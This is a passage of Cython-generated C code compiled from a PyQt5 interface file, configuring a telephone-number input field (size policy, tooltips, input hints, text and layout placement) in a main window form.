2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":228 * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__133, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":229 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) * self.R_telephone.setSizePolicy(sizePolicy) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__134, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":230 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.R_telephone.setSizePolicy(sizePolicy) * self.R_telephone.setMouseTracking(True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_2) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 230, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":231 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) * self.R_telephone.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.R_telephone.setMouseTracking(True) * self.R_telephone.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_sizePolicy); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":232 * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) * self.R_telephone.setSizePolicy(sizePolicy) * self.R_telephone.setMouseTracking(True) # <<<<<<<<<<<<<< * self.R_telephone.setToolTip("") * self.R_telephone.setStatusTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__135, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":233 * self.R_telephone.setSizePolicy(sizePolicy) * self.R_telephone.setMouseTracking(True) * self.R_telephone.setToolTip("") # <<<<<<<<<<<<<< * self.R_telephone.setStatusTip("") * self.R_telephone.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__136, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":234 * self.R_telephone.setMouseTracking(True) * self.R_telephone.setToolTip("") * self.R_telephone.setStatusTip("") # <<<<<<<<<<<<<< * self.R_telephone.setAccessibleName("") * self.R_telephone.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__137, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":235 * self.R_telephone.setToolTip("") * self.R_telephone.setStatusTip("") * self.R_telephone.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_telephone.setAccessibleDescription("") * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__138, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":236 * self.R_telephone.setStatusTip("") * self.R_telephone.setAccessibleName("") * self.R_telephone.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_telephone.setText("+// ") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__139, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":237 * self.R_telephone.setAccessibleName("") * self.R_telephone.setAccessibleDescription("") * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) # <<<<<<<<<<<<<< * self.R_telephone.setText("+// ") * self.R_telephone.setPlaceholderText("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_ImhFormattedNumbersOnly); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyNumber_Or(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":238 * self.R_telephone.setAccessibleDescription("") * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_telephone.setText("+// ") # <<<<<<<<<<<<<< * self.R_telephone.setPlaceholderText("") * self.R_telephone.setObjectName("R_telephone") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 238, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__141, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":239 * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_telephone.setText("+// ") * self.R_telephone.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_telephone.setObjectName("R_telephone") * self.horizontalLayout_3.addWidget(self.R_telephone) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__142, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":240 * self.R_telephone.setText("+// ") * self.R_telephone.setPlaceholderText("") * self.R_telephone.setObjectName("R_telephone") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.R_telephone) * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__143, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":241 * self.R_telephone.setPlaceholderText("") * self.R_telephone.setObjectName("R_telephone") * self.horizontalLayout_3.addWidget(self.R_telephone) # <<<<<<<<<<<<<< * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_17.setObjectName("label_17") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); 